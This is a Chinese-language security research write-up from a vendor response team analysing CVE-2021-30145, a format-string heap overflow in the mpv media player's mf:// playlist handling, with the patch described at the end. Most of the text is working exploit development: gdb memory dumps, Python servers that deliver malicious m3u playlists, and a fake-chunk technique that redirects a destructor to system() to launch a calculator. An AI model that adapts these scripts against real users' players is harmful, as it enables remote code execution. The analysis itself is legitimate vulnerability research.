• 本文作者: 天融信安全应急响应中心
  • |
  • 2021年10月26日
  • |
  • 技术文章
  • |

某mpv播放器因格式化字符串导致远程代码执行漏洞深入分析(CVE-2021-30145)

 

一、背景介绍

mpv项目是开源项目,可以在多个系统包括Windows、Linux、MacOs上运行,是一款流行的视频播放器,mpv软件在读取文件名称时存在格式化字符串漏洞,可以导致堆溢出并执行任意代码。

二、环境搭建

系统环境为Ubuntu x64位,软件环境可以通过两种方式搭建环境。

1. 通过源码编译,源码地址为:https://github.com/mpv-player/mpv/tree/v0.33.0

下载地址为:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip

2. 直接安装安装包,安装后没有符号,调试不方便,可以使用以下三条命令来安装软件:

sudo add-apt-repository  ppa:mc3man/mpv-tests

sudo apt-get update

sudo apt-get install mpv

参考https://blog.csdn.net/qq_34626094/article/details/113122032

安装完成后运行软件如下所示:

软件版本

三、漏洞复现

源代码:

sprintf函数源代码

demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是目标缓冲区,参数2是格式化字符串,参数2是可控的,第三个参数是循环次数,mpv程序本身支持文件名中传入一个%,可以使用%d打印这个循环次数,但是由于校验不严格,并没有校验其他的格式化字符串,以及%的个数,所以存在格式化字符串漏洞:

1

在demux_mf.c文件中127行会检查是否存在%,没有判断有几个%,以及%之后的参数。

程序存在格式化字符串漏洞,使用如下命令运行程序:./mpv -v mf://%p.%p.%p

-v运行截图

运行mpv时使用-v参数可以打印出更加详细的信息,此时可以看到打印出了栈上的信息,格式化字符串漏洞造成了信息泄漏。

demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是缓冲区,参数2是格式化字符串,这是可控的,现在为了安全都使用snprintf函数,可以限制缓冲区的大小,使用sprintf函数会造成信息泄漏,图中fname是堆中的缓冲区地址:

调用talloc_size函数

程序自己实现了一个内存申请函数,包含自定义的块头结构,在函数的124行调用talloc_size来申请内存,申请大小为文件名的大小加32个字节,如果使用格式字符串例如%1000d,会把一个四字节数据扩展到占用1000个字节,这样会导致堆溢出。

1000百分号d崩溃 - 副本

上图中,启动mpv时传入参数 mf://%1000d会导致程序崩溃。

四、漏洞分析

通过源码编译后可以根据符号对程序下断点,先查看下open_mf_pattern漏洞函数:

使用gdb启动mpv程序

gdb ./mpv

~~~

gdb-peda$ disassemble open_mf_pattern

Dump of assembler code for function open_mf_pattern:

~

0x00000000001e44af <+559>:   call   0x1305a0 <__sprintf_chk@plt>

~

可以看到在open_mf_pattern+0×559处调用的是sprintf_chk函数,这是因为使用源码编译时使用了FORTIFY_SOURCE选项,对sprintf函数的调用会自动修改为调用sprintf_chk函数,可以在gdb-peda下输入checksec检查:

gdb-peda$ checksec

CANARY    : ENABLED

FORTIFY   : ENABLED  可以看到开启了FORTIFY选项

NX        : ENABLED

PIE       : disabled

RELRO     : FULL

gdb-peda$

sprintf_chk函数有一个变量表明缓冲区的大小,但是因为此处缓冲区是通过talloc_size申请堆上的内存,所以没有办法在编译器确定缓冲区的大小,所以此函数使用0xFFFFFFFFFFFFFFFF来表明缓冲区的大小,这样我们就可以使用堆溢出来利用这个漏洞,实际操作中这个漏洞被利用可能性还是比较小的,本次在Ubuntu 20.04.1 LTS系统和关闭ASLR情况下利用此漏洞:

系统版本

 

五、漏洞利用程序开发:

开发利用程序前,需要使用sudo sh -c “echo 0 > /proc/sys/kernel/randomize_va_space”命令关闭系统的ASLR功能。

mpv程序运行时会把格式化字符串块保存在自定义的块中,使用talloc_size来分配内存,还有自定义的堆头结构。

       struct ta_header {

    size_t size;                // size of the user allocation

    // Invariant: parent!=NULL => prev==NULL

    struct ta_header *prev;     // siblings list (by destructor order)

    struct ta_header *next;

    // Invariant: parent==NULL || parent->child==this

    struct ta_header *child;    // points to first child

    struct ta_header *parent;   // set for _first_ child only, NULL otherwise

    void (*destructor)(void *);

#if TA_MEMORY_DEBUGGING

    unsigned int canary;

    struct ta_header *leak_next;

    struct ta_header *leak_prev;

    const char *name;

#endif

};

       可以在ta.c文件中看到此结构的内容以及对应的函数,此结构中包含一个destructor,是析构指针,还有一个值是canary,编译选项TA_MEMORY_DEBUGGING默认是启用的,此值为固定值0xD3ADB3EF,是为了检测程序是否有异常。

当调用ta_free函数时会判断析构函数,如果析构函数不为空,那么会去调用析构函数。

ta_free

在此函数内部还调用了get_header函数,函数内容为

get_header

根据堆块地址ptr往低地址偏移固定字节找到堆头结构地址tag_head*,然后调用ta_dbg_check_header函数

ta_dbg_check_header

ta_dbg_check_header函数会检查canary值是否为0xD3ADB3EF,如果parent不为空,还会判断前向节点和父节点。

5.1 覆盖destructor指针

漏洞利用思路为调用sprintf函数时堆溢出到下一个堆的头结构,改变堆头结构的析构指针,当调用ta_free函数时,如果析构指针不为空,那么就会调用析构函数。

mpv程序在运行时可以读取m3u文件列表,如使用命令

./mpv http://localhost:7000/x.m3u

mpv程序会去连接本地的7000端口,并获取x.m3u文件,获取的内容mf://及之后的内容保存在堆中,当mf://及之后的内容占用不同大小的空间时,程序会把文件名称的内容放在堆中不同的位置处,我们需要找到一个合适的大小来满足如下条件:当mpv将文件内容名称存放在堆中时,后面的内存内容包含一个自定义的堆头结构,这样当我们溢出数据时,可以操纵到后面的堆头结构内容。

使用如下的POC测试占用不同的空间可以将文件名称内容放到合适的地址处:

#!/usr/bin/env python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((‘localhost’, 7000))

s.listen(5)

c, a = s.accept()

playlist  = b’mf://’

playlist += b’A'*0×40

playlist += b’%d’ # we need a ‘%’ to reach vulnerable path

d  = b’HTTP/1.1 200 OK\r\n’

d += b’Content-type: audio/x-mpegurl\r\n’

d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’

d += b’\r\n’

d += playlist

c.send(d)

c.close()

代码中使用playlist += b’A'*0×40来占位,0×40是经过测试的数据,笔者可以修改此值来测试占用多少字节可以申请一个合适的位置,运行此脚本文件。然后使用gdb调试mpv程序:gdb ./mpv

使用命令b *open_mf_pattern+559在调用sprintf_chk函数处下断点,使用命令运行 mpv程序:r http://localhost:7000/x.m3u

断点m3u截图

可以看到第一个参数arg[0]数据为0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0×50,往前偏移0×50是为了查看堆头结构的数据

gdb-peda$ x/100xg 0x7fffec001210-0×50

0x7fffec0011c0:      0×0000000000000062   0×0000000000000000   [size]   |       [prev]

0x7fffec0011d0:     0×0000000000000000   0×0000000000000000   [next]   |      [child]

0x7fffec0011e0:      0x00007fffec001140      0×0000000000000000   [parent]   | [destructor]

0x7fffec0011f0:      0x00000000d3adb3ef    0×0000000000000000   [canary]   | [leak_next]

0x7fffec001200:      0×0000000000000000   0x0000555556676b8f    [leak_prev] | [name]

0x7fffec001210:      0×0000000000000000   0×0000000000000071  begin actual data

0x7fffec001220:      0x00007fffec004df0       0x00007fffec001610

0x7fffec001230:      0×0000000000000000   0×0000000000000000

0x7fffec001240:      0×0000000000000000   0×0000000000000000

0x7fffec001250:      0×0000000000000000   0×0000000000000000

0x7fffec001260:      0×0000000000000000   0x0000555556c288a0

0x7fffec001270:      0x736f686c61636f6c      0x782f303030373a74

0x7fffec001280:      0x00000000000000d0   0×0000000000000065

0x7fffec001290:      0x000055555732dc00   0×0000555557315010

0x7fffec0012a0:      0×0000000000000000   0×0000000000000000

0x7fffec0012b0:     0×0000000000000000   0×0000000000000000

0x7fffec0012c0:      0×0000000000000000   0×0000000000000000

0x7fffec0012d0:     0×0000000000000000   0×0000000000000000

0x7fffec0012e0:      0×0000000000000000   0×0000000000000045

0x7fffec0012f0:      0×0000000000000000   0×0000000000000000

0x7fffec001300:      0×0000000100000000   0×0000000000000001

0x7fffec001310:      0×0000000000000000   0×0000000000000000

0x7fffec001320:      0x00000073656c6966    0×0000000000000051

0x7fffec001330:      0x00007fffec0047d0      0x00007fffec0046e0

0x7fffec001340:      0×0000000000000000   0×0000000000000000

0x7fffec001350:      0×0000000000000000   0×0000000000000000

0x7fffec001360:      0×0000000000000000   0×0000000000000000

0x7fffec001370:      0×0000000000000050   0×0000000000000044

0x7fffec001380:      0×0000000000000000   0×0000000000000000

0x7fffec001390:      0×0000000100000000   0×7470797200000001

0x7fffec0013a0:      0×0000000000000000   0×0000000000000000

0x7fffec0013b0:     0x00646d6574737973   0×0000000000000021

0x7fffec0013c0:      0x00007fffec005570      0x00007fffec0177c0

0x7fffec0013d0:     0×0000000000000020   0×0000000000000044

0x7fffec0013e0:      0×0000000000000000   0×0000000000000000

0x7fffec0013f0:      0×0000000100000000   0×0000000000000001

0x7fffec001400:      0×0000000000000000   0×0000000000000000

0x7fffec001410:      0x0000000000736e64   0×0000000000000035

0x7fffec001420:      0x3638782f62696c2f     0x756e696c2d34365f

0x7fffec001430:      0x696c2f756e672d78    0x6c69665f73736e62

0x7fffec001440:      0x00322e6f732e7365    0×0000000000000065

0x7fffec001450:      0×0000000000000003   0x00007fffec004a80      [size]   |       [prev]

0x7fffec001460:      0×0000000000000000   0×0000000000000000   [next]   |      [child]

0x7fffec001470:      0×0000000000000000   0×0000000000000000   [parent]   | [destructor]

0x7fffec001480:      0x00000000d3adb3ef    0×0000000000000000   [canary]   | [leak_next]

0x7fffec001490:      0×0000000000000000   0x0000555556c288a0    [leak_prev] | [name]

0x7fffec0014a0:      0x000000006600666d   0x00000000000000f5    begin actual data

堆块的实际数据起始地址为0x7fffec001210,堆头地址为0x7fffec0011C0,紧随其后有一个堆头结构位于0x7fffec001450。

使用如下poc脚本即可覆盖0x7fffec001450堆头结构中的destructor指针

#!/usr/bin/env python3

import socket

from pwn import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((‘localhost’, 7000))

s.listen(5)

c, a = s.accept()

playlist  = b’mf://’

playlist += b’A'*0×10

playlist += b’%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22′

d  = b’HTTP/1.1 200 OK\r\n’

d += b’Content-type: audio/x-mpegurl\r\n’

d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’

d += b’\r\n’

d += playlist

c.send(d)

c.close()

正常情况下%c即可格式化一个char类型的数据,使用%590c是为了似乎用空格字符占用更多的字节,让程序去处理目的地址590个字节后面的数据,%c%c的目的是跳到一个参数,该参数的值为0,%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c将8个字节的0×00写到父指针parent中,绕过ta_dbg_check_header函数中对前向节点和父节点的检查。6个\x22将0×222222222222写入到destruct指针中。

程序会多次运行到sprintf_chk函数处,从源代码中可以看到程序会运行5次,在最后一次运行结束后,查看后续堆的头结构内容如下:

gdb-peda$ x/20xg 0x7fffec001450

0x7fffec001450:      0×2020202020202020   0×2020202020202020 [size]   |       [prev]

0x7fffec001460:      0×2020202020202020   0xdf6e042020202020    [next]   |      [child]

0x7fffec001470:      0×0000000000000000   0×0000222222222222   [parent]   | [destructor]

0x7fffec001480:      0x00000000d3adb3ef    0×0000000000000000   [canary]   | [leak_next]

0x7fffec001490:      0×0000000000000000   0x0000555556c288a0

0x7fffec0014a0:      0x000000006600666d   0x00000000000000f5

0x7fffec0014b0:     0×0000000000000000   0x00007fffec0008d0

0x7fffec0014c0:      0×0000000000000000   0×0000000000000000

0x7fffec0014d0:     0×0000000000000000   0x00005555557632c0

0x7fffec0014e0:      0×0000000000000000   0×0000000000000000

当前已经覆盖了destructor指针为0×0000222222222222。   输入指令c并回车继续运行:

rip222222222222

可以看到出现段错误,RIP为0×222222222222,将要执行到RIP指向的指令,但是内存地址不合法导致程序出现段错误。

5.2 覆盖child指针

目前只修改到了RIP,其他的上下文并不合适,可以换一种利用思路,通过观察源代码可以看到:

ta_free_children

在ta.c文件中可以看到调用析构函数后,还调用了ta_free_children释放子节点,在ta_free_children函数中调用ta_free释放子节点,然后在此函数中又判断子节点的destructor指针,如不为0,则调用destructor指向内存的代码。

现在需要换一种漏洞利用思路,即覆盖到堆头结构中的child指针,如果这个child块是我们自己可以构造的一个假块,构造destructor指针为system函数的地址,canary值为固定值0xd3adb3ef,还需构造假块的parent为0,就可以绕过判断,调用system函数时传入的指针为堆块的实际数据的起始地址,所以我们还需要构造这个假块的实际数据为“gnome-calculator”字符串。

还需要构造这个假块, mpv程序读取m3u文件列表时,会接收http报文,http报文中包含了文件名数据,还可以在http报文中构造一个假块,当关闭ASLR情况下,http报文中假块的堆头结构地址是固定的0x00007fffec001dd8,这个地址在不同的系统版本以及软件下可能会有变化,所以需要读者自己去定位,笔者使用如下方式定位:

1. http报文在内存中的地址与调用sprintf时的目的地址在同一块内存中。

2. 程序在调用sprintf断下后,使用vmmap查看进程模块占用了哪些内存页面,查看sprintf函数的第一个参数落到哪个内存块中:

vmmap

如图参数1指向的内存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 内存块中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump内存到磁盘上。

3. 使用二进制文本搜索工具如winhex,搜索gnome-calculator,即可找到假块在文件中的数据,对应到内存中即可找到数据。

winhex搜索

图中文件偏移0x1DD8处的数据即为假块堆头结构,0x1E28处数据即为假块实际数据起始处。

4. 找到假块堆头在文件中的位置为0x1DD8,那在内存中的位置为0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改对应EXP中子块的指针

修改exp子块指针

5. 在gdb-peda插件下输入命令:print system,可以定位到system函数的地址,修改脚本中SYSTEM_ADDR为system函数对应地址。

EXP脚本如下:

#!/usr/bin/env python3

import socket

from pwn import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((‘localhost’, 7000))

s.listen(5)

c, a = s.accept()

playlist  = b’mf://’

playlist += b’A'*0×30

playlist += b’%550c%c%c’

playlist += b’\xd8\x1d%4$c\xec\xff\x7f’ # overwriting child addr with fake child

SYSTEM_ADDR = 0x7ffff760c410

CANARY      = 0xD3ADB3EF

fake_chunk  = p64(0) # size

fake_chunk += p64(0) # prev

fake_chunk += p64(0) # next

fake_chunk += p64(0) # child

fake_chunk += p64(0) # parent

fake_chunk += p64(SYSTEM_ADDR) # destructor

fake_chunk += p64(CANARY) # canary

fake_chunk += p64(0) # leak_next

fake_chunk += p64(0) # leak_prev

fake_chunk += p64(0) # name

d  = b’HTTP/1.1 200 OK\r\n’

d += b’Content-type: audio/x-mpegurl\r\n’

d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’

d += b’PL: ‘

d += fake_chunk

d += b’gnome-calculator\x00′

d += b’\r\n’

d += b’\r\n’

d += playlist

c.send(d)

c.close()

使用gdb启动mpv后,下断点b *open_mf_pattern+559,使用命令r http://localhost:7000/x.m3u运行程序,多次运行sprintf_chk后查看内存数据:

gdb-peda$ x/20xg 0x7fffec001450

0x7fffec001450:      0×2020202020202020   0×2020202020202020

0x7fffec001460:      0xdf5e042020202020    0x00007fffec001dd8      [next]   |      [child]

0x7fffec001470:      0×0000000000000000   0×0000000000000000

0x7fffec001480:      0x00000000d3adb3ef    0×0000000000000000

0x7fffec001490:      0×0000000000000000   0x0000555556c288a0

0x7fffec0014a0:      0x000000006600666d   0x00000000000000f5

0x7fffec0014b0:     0×0000000000000000   0x00007fffec0008d0

0x7fffec0014c0:      0×0000000000000000   0×0000000000000000

0x7fffec0014d0:     0×0000000000000000   0x00005555557632c0

0x7fffec0014e0:      0×0000000000000000   0×0000000000000000

child指针此时为0x00007fffec001dd8,查看child中的数据:

gdb-peda$ x/20xg 0x00007fffec001dd8

0x7fffec001dd8:     0×0000000000000000   0×0000000000000000

0x7fffec001de8:     0×0000000000000000   0×0000000000000000

0x7fffec001df8:      0×0000000000000000   0x00007ffff760c410       [parent]   | [destructor]

0x7fffec001e08:      0x00000000d3adb3ef    0×0000000000000000   [canary]   | [leak_next]

0x7fffec001e18:      0×0000000000000000   0×0000000000000000

0x7fffec001e28:      0x61632d656d6f6e67    0x726f74616c75636c

0x7fffec001e38:      0x3a666d0a0d0a0d00   0x4141414141412f2f

0x7fffec001e48:      0×4141414141414141   0×4141414141414141

0x7fffec001e58:      0×4141414141414141   0×4141414141414141

0x7fffec001e68:      0×4141414141414141   0×2563303535254141

地址0x7fffec001e28处对应的是堆实际数据,对应的是字符串数据gnome-calculator,

destructor为system函数的地址,按c回车运行:

弹出计算器截图

可以看到弹出了计算器。

总结一下利用思路:

1. mpv程序在读取m3u文件列表时会使用http协议从服务端上取出对应的文件名称

2. 服务端发送http报文时包含了格式化字符串以及一个构造的假块,这个假块包括伪造好的堆头结构以及堆内容

3. mpv取到对应的文件名称时会调用sprintf_chk时将文件名作为格式化字符串去格式化一个堆空间,由于目标地址是在堆中,所以没有办法在编译器确定堆的大小,传入一个0xFFFFFFFFFFFFFFFF作为堆的大小,相当于没有对堆空间大小做限制,调用此函数会导致堆溢出,溢出到相邻的一个堆块头结构,覆盖child指针。

4. 这个child指针指向一个假块,假块内容是服务器端使用http协议发过来的数据,假块包括头结构和实际数据,头结构中destructor字段修改system函数的地址,当释放这个child块时,会判断destructor指针是否为空,不为空则调用destructor指向的函数,参数为假块实际数据的地址,假块构造时在实际数据中填充字符串gnome-calculator,所以调用析构函数时效果相当于调用system(“gnome-calculator”)。

注意需要关闭系统的ASLR,这样system函数地址才为固定值,实际中此漏洞利用难度较大,需要绕过ASLR。

 

六、漏洞修复:

目前该漏洞已经修复,本身程序运行时是支持文件名中带一个%d的格式化字符串,修复后检查只有一个%,并且是%d,如果是其他的参数则不合法。

补丁代码检查百分号

对sprintf函数的调用修改为调用snprintf,限制了缓冲区的大小。

补丁snprintf计算缓冲区大小

补丁替换调用snprintf

七、参考链接:

mpv 媒体播放器–mf 自定义协议漏洞(CVE-2021-30145):

https://devel0pment.de/?p=2217

 

 

Written by 天融信安全应急响应中心